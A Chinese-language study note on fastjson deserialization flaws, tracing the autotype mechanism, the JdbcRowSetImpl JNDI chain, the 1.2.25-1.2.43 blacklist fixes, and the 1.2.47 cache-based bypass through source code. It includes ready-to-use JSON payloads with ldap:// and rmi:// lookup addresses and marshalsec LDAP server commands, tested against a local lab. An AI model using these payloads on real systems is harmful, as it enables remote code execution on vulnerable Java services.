前言
文章会参考很多其他文章的内容,记个笔记。
FASTJSON
fastjson 组件是 阿里巴巴开发的序列化与 反序列化组件。
fastjson 组件 在反序列化不可信数据时会导致远程代码执行。
POJO
POJO是 Plain OrdinaryJava Object 的缩写 ,但是它通指没有使用 Entity Beans 的普通 java 对象,可以把 POJO 作为支持业务逻辑的协助类
用 来实现JAVA POJO对象 与JSON 字符串的互相转换,比如:
User user = new User();
user.setUserName("李四");
user.setAge(24);
String userJson = JSON.toJSONString(user);
将其 序列化的结果为:
{"age":24,"userName":"李四"}
以上将对象转换为 JSON 字符串的操作 称之为 序列化 ,反之,将JSON字符串实例化成 JAVA POJO 对象的操作 即称之为 反序列化。
Java 反序列化机制
简单介绍 序列化 和反序列化工具类:
ObjectInputStream和ObjectOutputStream
序列化
User user = new User();
user.setName("李四");
user.setSex("M");
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("User.txt")));
oo.writeObject(user);
反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("User.txt")));
User user1 = (User) ois.readObject();
System.out.println(user1.getName() + ":" + user1.getSex());
序列化需要调用ObjectOutputStream的writeObject方法,反序列化需要调用ObjectInputStream的readObject方法。
输出结果:
也就是执行了以下:
User writeObject
User readObject
User readResolve
李四:M
fastjson 反序列化机制
添加依赖:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
</dependencies>
案例1
标准POJO类定义如下,有userName和age两个属性,还有一些构造函数。
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) throws Exception{
System.out.println("setAge");
this.age = age;
}
public void setTest(int i){
System.out.println("setTest");
}
public static void test1() throws Exception {
Student student = new Student();
student.setAge(18);
student.setName("snowy");
System.out.println("====================");
String jsonString1 = JSON.toJSONString(student);
System.out.println("====================");
String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
System.out.println(jsonString2);
}
public static void test2()throws Exception{
String jsonString1 = "{\"age\":18,\"name\":\"snowy\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"snowy\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");
}
public static void main(String[] args) throws Exception {
test1();
//test2();
}
}
结果:
可以看到, 调用JSON.toJSONString 的话(也就是序列化了),会自动调用对应的 getter
其次 若是加上 SerializerFeature.WriteClassName,则返回的内容除属性值外,还会加上@type 字段 指明当前类。
实例2:
接下来 看看test 2,将 JSON字符串转换成对象。
String jsonString1 = "{\"age\":18,\"name\":\"snowy\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"snowy\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");
结果:
{"name":"snowy","age":18}
======================
构造函数
setAge
setName
fastjson.Student@4629104a
======================
{"name":"snowy","age":18}
======================
构造函数
setAge
setName
getAge
getName
{"name":"snowy","age":18}
======================
可以看到,不加上 @type 指明类时,时得不到类对象的。
当 加上 @type 字段 的字符串进行传唤后,不仅能得到类对象, parse 会调用 对应的 setter,
而 parseObject 会调用两者 也就是 setter 和 getter
这个 @type 的方式 也叫做 autotype:
autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。
set开头的方法要求:
- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
- get开头的方法要求:
方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLon
JdbcRowSetImpl链结合JNDI注入
fastjson<1.2.24
在上边 案例 1 中 自动调用 getter 时,应该可以联想到 Commons-Beanutils中动态调用 getter 的方法。
如 Commons-Beanutils 里 PropertyUtils.getProperty 传入 name,他会自动在前面加上 get,然后将 n 转为大写,即调用 getName。 所以,这里如果传入 outputProperties 时,他会自动调用getOutputProperties ,所以这里也可以用这种方式来调用关键的两个方法 :setDataSourceName()
和setAutoCommit()
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
如果 这里的 this.conn == null 会调用 本类的 this.connect()
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
connect() 中 如果 this.getDataSourceName() != null 则会调用 lookup ,从而进行rmi等协议远程加载类攻击。
所以我们先要进入 第二个if 判断,跟进看看这个 getDataSourceName() 的值
返回了 dataSource ,所以这个值时由 dataSource 决定的。继续跟进dataSource
是BaseRowSet类的属性,看看哪里能设置此值
其中,setDataSourceName()方法 能设置他的值
继续跟进,看看谁调用了 setDataSourceName() 方法,JdbcRowSetImpl是 BaseRowSet子类
JdbcRowSetImpl.setDataSourceName 调用了 BaseRowSet.setDataSourceName()
因为 @type + parse 能够调用 setter 方法,我们的思路就是 利用 @type 机制 调用 dataSourceName 和 autoCommit (也就是setDataSourceName()
和setAutoCommit()
),并对其赋值,调用时 他会自动加上前缀set 这也就调用到了 我们刚刚看见的 lookup ,从而进行 触发恶意类加载。
实现攻击:
攻击方式 和JNDI的LDAP 方式 一样
python 开本地服务。
python -m http.server 7777
使用 GitHub - RandomRobbieBF/marshalsec-jar:marshalsec-0.0.3-SNAPSHOT-all 编译在 X64 上
搭建 LDAP 服务, 服务端监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999
import com.alibaba.fastjson.JSON;
class demo1{
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
还是那个流程, 打到ldap 服务器,然后 本地服务有个恶意类,成功加载!
简单流程概括:
给getDataSourceName()赋值
JdbcRowSetImpl.setDataSourceName ->
BaseRowSet.setDataSourceName->
dataSource = name
RMI 同样
package fastjson;
import com.alibaba.fastjson.JSON;
class demo1{
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
【<=1.2.24】JDK1.7 的TemplatesImpl利用链
可以看其他师傅的文章、
1.2.24漏洞版本修复
在1.2.25 版本,针对了1.2.24版本进行了修复
总结下 1.2.24版本的漏洞产生原因:
- @type 该关键词的特性会加载任意类,并给提供的输入字段的值进行修复,如果字段有setter、getter、方法会自动调用该方法,进行复制,恢复出整个类。 这个过程会被叫做fastjson 反序列化的过程。不要把这个过程和java的原生的反序列化混为一谈,因为原生的反序列化需要用到readobject 而 fastjson 不需要,而fastjson 相应的 @type 加载任意类 + 符合条件的 setter 和 getter 变成反序列化利用点。
- 在找到可以调用的setter 和getter之后,从这个可以被触发的setter 和 getter 之后就可以沿着不同的反序列化利用连 进行前进,比如具有一个限制条件的TemplatesImpl利用链,JNDI利用链。
- 利用链子 最终到达payload 触发点,比如是JNDI 的远程加载而已class文件的实例化操作 或是 调用类中的getObjectInstance方法 ,与TemplatesImpl利用链中的class文件字节码的的实例化操作
修复则是对于 反序列化的触发点进行截断,在1.2.25中修复原理就是针对了 反序列化漏洞触发点进行限制,对于@type 标签进行了一个白名单 + 黑名单的限制。
可以看到 DefaultJSONParser类 这里对 @type 做了一些 判断,原本输入的键值是 @type 的时候,直接对值对应的类进行加载,而在1.2.25中 会将值 传入 checkAutoType 中。
checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数AutoTypeSupport。
fastjson 默认 AutoTypeSupport 为false (开启白名单机制)。
所以我们先来看看 默认 AutoTypeSupport 为False 时的代码。这里我就截取一下 autoTypeSupport = false 的情况的代码,因为他true 和false 都串联在一起,实在不好阅读,要打断点才能看清楚。
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
//一些固定类型的判断,此处不会对clazz进行赋值,此处省略
if (!autoTypeSupport) {
//进行黑名单匹配,匹配中,直接报错退出
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//此处省略了当clazz不为null时的处理情况,与expectClass有关
//但是我们这里输入固定是null,不执行此处代码
//可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
//执行不到此处
return clazz;
}
可以得出在默认的 AutoTypeSupport为False 时,要求不匹配到黑名单,并且同时必须在白名单内的class 才可以成功加载。
可以看一下默认的黑名单
一般能用的链子都被 堵死在黑名单里了。正如 JNDI 和 Templates 的两个payload 都属于com.sun 被其匹配。
1.2.25 - 1.2.41绕过。
所以说 默认为false 几乎不行,所以接下来的绕过都是在服务器显性开启 AutoTypeSupport为True
的情况下进行的 (限制还是挺大的,要知道默认为false)
看一下 AutoTypeSupport为True 时的代码逻辑:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
//先进行白名单匹配,如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
//同样进行黑名单匹配,如果匹配成功,则报错推出。
//需要注意这百年所谓的匹配都是startsWith开头匹配
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//一些固定类型的判断,不会对clazz进行赋值,此处省略
//不匹配白名单中也不匹配黑名单的,进入此处,进行class加载
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
//对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
//返回加载的class
return clazz;
}
可见在 显性关闭白名单的情况下, 我们也需要绕过 黑名单检测,同时他有个加载类的危险性判断, 也就是加载类不能继承Classloader 与 DataSource
看似只能从黑名单和其他能利用的类中绕过,其实 跟进一下类加载 TypeUtils.loadClass 就发现:
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
//特殊处理1!
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//特殊处理2!
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...
这里做了两个特殊处理 :
- 如果时以 ‘ [ ’ 开头的花,就会去掉这个符号,然后进行加载
- 如果这个类名时以 L 开头 且以 ; 结尾 则会去头去尾然后进行类加载
那么加上 L 开头 ; 结尾,就理所应当能够绕过所有黑名单了。
String s = "{\"@type\":\"Lcom.sun.rowset.RowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/zSTPFQah\",\"autoCommit\":true";
JSON.parseObject(s);
但是我这里报错显示不支持, 应该是被黑名单匹配到了,不太懂为什么,有知道的师傅可以说一下吗
找了下问题,发现要设置这一条:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
才想起来 他默认 的 setAutoTypeSupport 是 false ,我们要设置为true 才行
提一嘴,yakit 很好用,不用直接用他的ldap 服务器就可以了
加上 L 和 ; 确实是 能够绕过黑名单执行计算器的
1.2.42版本修复
在1.2.42 中 对于 1.2.41版本进行了修复,
对于defaultJSonparser 关键是在 ParserConfig 中修改了以下两点:
- 修改明文黑名单为 黑名单hash
- 对于传入的类名,删除开头 L 和结尾的 ;
黑名单的hash 形式:
不知道禁用了什么类
再是对传入的类名 进行校验:
// hash算法常量
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
// 对传入类名的第一位和最后一位做了hash,如果是L开头,;结尾,删去开头结尾
// 可以发现这边只进行了一次删除
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
// 计算处理后的类名的前三个字符的hash
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
if (autoTypeSupport || expectClass != null) {
long hash = h3;
//基于前三个字符的hash结果继续进行hash运算
//这边一位一位运算比较其实就相当于之前的startswith,开头匹配
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
//将运算结果跟白名单做比对
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//将运算结果跟黑名单做比对
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//之后就是一样的处理,根据类名加载类
可以看到,他第一次 会删除开头的L 和结尾的 ; 然后再进行黑白名单匹配,如果黑名单匹配到了,就无法加载,那么很明显,他只做了一次的删除。那么我们可以双写,然后再绕过这个黑名单。
payload:
String s = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/zSTPFQah\",\"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(s);
1.2.43修复:
43对于42版本 对于双写 绕过进行了修复
修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
的部分代码
//hash计算基础参数
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
//L开头,;结尾
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
//LL开头
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
//直接爆出异常
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
可见直接对LL 进行了匹配,至此jdbc类 和 templateslmpl无法利用。
1.2.44版本
1.2.44 版本补充了对 loadclass 时 [ 的利用,实际上 payload 时用不了的
1.2.47 通杀payload
分析 1.2.47版本的包:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//1.typeName为null的情况,略
//2.typeName太长或太短的情况,略
//3.替换typeName中$为.,略
//4.使用hash的方式去判断[开头,或L开头;结尾,直接报错
//这里经过几版的修改,有点不一样了,但是绕不过,也略
//5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的
//(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机)
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//6.从一个Mapping中获取这个类名的类,我们之后看
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//7.从反序列化器中获取这个类名的类,我们也之后看
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//8.如果在6,7中找到了clazz,这里直接return出去,不继续了
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
//无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去
return clazz;
}
// 9. 针对默认白名单开启情况的处理,这里
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//碰到黑名单就死
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//满足白名单可以活,但是白名单默认是空的
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//针对expectCLass的特殊处理,没有expectCLass,不管
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//通过以上全部检查,就可以从这里读取clazz
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//这里对一些特殊的class进行处理,不重要
//特性判断等
return clazz;
}
仔细阅读源码,主要关键是在第 7 - 8步,如果在反序列化器中找到了类 ,则会返回类。
- 当我们把 checkAutoType 设置为false 时,就会进入第9步,那么会碰到黑名单,根本无法走到下面
- 那么我们的思路就是在 checkAutoType 为true 时,在第五步,虽然会跟黑名单进行匹配,但是后面还有一个if 却是可以return出去的,只要满足 这个 TypeUtils.getClassFromMapping !=null 就能跳出报错,而这个getClassFromMapping 是我们侧重的关键部分。
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
那我们就要想 clazz 哪里可以赋值,在第五步 第六步 第七步三处,可以看到有赋值操作
第五步赋值操作:
但是 这里要匹配到白名单内,才会赋值clazz 并返回,这是不可能的。
所以我们看到第6、7步
- TypeUtils.getClassFromMapping(typeName)
- deserializers.findClass(typeName)
getClassFromMapping(typeName)
因为是第六步,先来看看 getClassFromMapping(typename)
跟进
跟进mappings
寻找mapping的put方法。 搜索mappings.put
第一个位置 addBaseClassMappings():
但是这里没有传参,都是一些基础类型,不可控。
第二处:
这里有几处是 mappings.put 的
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
//判断className是否为空,是的话直接返回null
if(className == null || className.length() == 0){
return null;
}
//判断className是否已经存在于mappings中
Class<?> clazz = mappings.get(className);
if(clazz != null){
//是的话,直接返回
return clazz;
}
//判断className是否是[开头,1.2.44中针对限制的东西就是这个
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
//1. 我们需要关注的mappings在这里有
try{
//输入的classLoader不为空时
if(classLoader != null){
//调用加载器去加载我们给的className
clazz = classLoader.loadClass(className);
//!!如果cache为true!!
if (cache) {
//往我们关注的mappings中写入这个className
mappings.put(className, clazz);
}
return clazz;//返回加载出来的类
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
//2. 在这里也有,但是好像这里有关线程,比较严格。
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
//同样需要输入的cache为true,才有可能修改
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
//3. 这里也有,限制很松
try{
//加载类
clazz = Class.forName(className);
//直接放入mappings中
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
如果可以控制输入的参数,那么可以控制其 往mappings里添加我们的恶意类。
看看此处的类在哪里被调用了
事实上 只有TypeUtils 能够看,因为前三都是在checkautoType里的,如果能绕过,早就不需要这个mappings了。
所以跟进这个 TypeUtils看看。
cache为true ,事实上 这个类会引用自己的loadclass 进行递归,就不看了。看到MiscCodec
在deserialze函数中发现:
在clazz == Class.class时,会调用TypeUtils.loadClass 进而传值加载。
所以我们的思路是让这个clazz 为 Class.class,审计此处代码 要从clazz == Class.class 往上看:
这里贴其他师傅简化过的代码:
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
//4. clazz类型等于InetSocketAddress.class的处理。
//我们需要的clazz必须为Class.class,不进入
if (clazz == InetSocketAddress.class) {
...
}
Object objVal;
//3. 下面这段赋值objVal这个值
//此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
//当parser.resolveStatus的值为 TypeNameRedirect
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
//lexer为json串的下一处解析点的相关数据
//如果下一处的类型为string
if (lexer.token() == JSONToken.LITERAL_STRING) {
//判断解析的下一处的值是否为val,如果不是val,报错退出
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
//移动lexer到下一个解析点
//举例:"val":(移动到此处->)"xxx"
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
//此处获取下一个解析点的值"xxx"赋值到objVal
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
//当parser.resolveStatus的值不为TypeNameRedirect
//直接解析下一个解析点到objVal
objVal = parser.parse();
}
String strVal;
//2. 可以看到strVal是由objVal赋值,继续往上看
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
//不必进入的分支
}
if (strVal == null || strVal.length() == 0) {
return null;
}
//省略诸多对于clazz类型判定的不同分支。
//1. 可以得知,我们的clazz必须为Class.class类型
if (clazz == Class.class) {
//我们由这里进来的loadCLass
//strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
经过分析,关注点到 parser.resolveStatus
- 当 parser.resolveStatus == TypeNameRedirect 我们需要json 串中有一个 “val”:“恶意类名”进入if 语句中 污染objVal 再进一步污染strVal,我们又需要clazz 为Class.class 来进入loadClass
- 所以json 串的格式为 “@type”="java.lang.Class","val":"恶意类名" 这样
- 当parser.resolveStatus != TypeNameRedirect 进入if 进入if判断的false中,可以直接污染objVal。再加上clazz=class类 大概需要一个json串如下:
"被屏蔽的type"="java.lang.Class","恶意类名"
。
至于哪里调用了 MiscCodec.java#deserialze 来进行一系列的放进内存的操作。实际上查看引用会发现很多地方调用了,就比如解析过程中的 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
既然知道这个 就打上payload 然后跟一下断点
首先进入解析函数 parseObject()
跟进,一直跟进
这里会进入 DefaultJSONParser.parser()
跟进,一系列操作,最后到
跟进 parseObject()
这里有我们的三个在乎的点,如下顺序:
public final Object parseObject(final Map object, Object fieldName) {
...
//先是checkAutoType这个万恶的过滤函数
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
...
//ResolveStatus的赋值
this.setResolveStatus(TypeNameRedirect);
//污染TypeUtils.getClassFromMapping的触发处
Object obj = deserializer.deserialze(this, clazz, fieldName);
}
先是到这一步,checkAutoType
实际上呢,这就是之前对于@type的判断,我们是可以绕过黑白名单的,因为我们类是 java.lang.Class
跳到下面
这里会在 mappings里找 java.lang.Class,实际上 mappings里是有的,返回去
返回到 这里:
继续往下跳,这里返回了。继续回到parserObject,再者说,这个checkAutoType也是可以直接跳的,没啥东西可看。
其实重要的在下面,没事,继续往下跳。
一顿操作跳到了此处:
这里给 ResolveStatus 赋值了 2 ,说实话,我也不懂什么意思,但估计就是一个分支,继续往下看。应该是不影响的。
最后到这一步:
既然上面都不影响,那就不管了,可以发现可以进入我们预计希望进入的 com.alibaba.fastjson.serializer.MiscCodec#deserialze
既然满足了条件,我们也不用去想上面的骚操作,直接进入 MiscCodec.deserialze先。
进来了就跳跳跳,到这里
前面赋值为2 所以这个if 是满足的,并且 我们设置的val 也被解析出来了,最重要的是,objVal 也被设置成了我们的恶意类名
strVal 被赋值:
由于 objVal 是一个String ,进入一系列的class 判断,跳跳跳,最后到这个TypeUtils.loadClass,跟进
这里设置了 cache 为true ,很好,继续跟进
我们跟一下会进入哪个 mappings.get()
第一个没进
实际上他进入了第二个 mappings.put,将 com.sun.rowset.JdbcRowSetImpl 放进了 mappings了
在 mappings 里找到了!mappings 也顺其自然添加了多一位数
现在回头来看这个mapping看到现在,就是放入一些已经加载过了的类,在checkAutoType中就不进行检查来提高速度。
调用栈:
那么获取一个有恶意类的类似缓存机制的mapping有啥用呢?
其实就是 mappings 多了我们的恶意类,那么内存里就会一直存着我们的这个恶意类。我们直接用第二次加载我们的恶意类直接打 就可以触发了!
思路:
{
"a": {
"@type": "java.lang.Class", //放入内存
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl", //触发payload弹计算器
"dataSourceName": "ldap://127.0.0.1:8085/KkMSGAKU",
"autoCommit": true
}
}
结束!
回顾一下刚刚的流程:
进入 DefaultJSONParser#parserObject()
- checkAutoType 方法 拿到Class.class
- 设置了 ResolveStatus ,决定了之后deserialze 的if 走向
- 进入 deserializer.deserialze
.
MiscCOdec#deserialze
- parser.resolveStatus为TypeNameRedirect,进入if为true走向
- 解析"val":"恶意类名",放入objVal,再传递到strVal
- 因为clazz=Class.class,进入TypeUtils.loadClass,传入strVal
.
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)
- 添加默认cache为true,调用loadClass
.
- 三个改变mappings的第一处,由于classLoader=null,不进入
- 三个改变mappings的第二处,classLoader=null,进入;获取线程classLoader,由于cache为true,添加mappings。
嘶,审下来 头有点大,得回过头来 反复琢磨一下
参考:
fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili
JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)
这两篇是我比较推荐的 视频搭配文章 效果很好!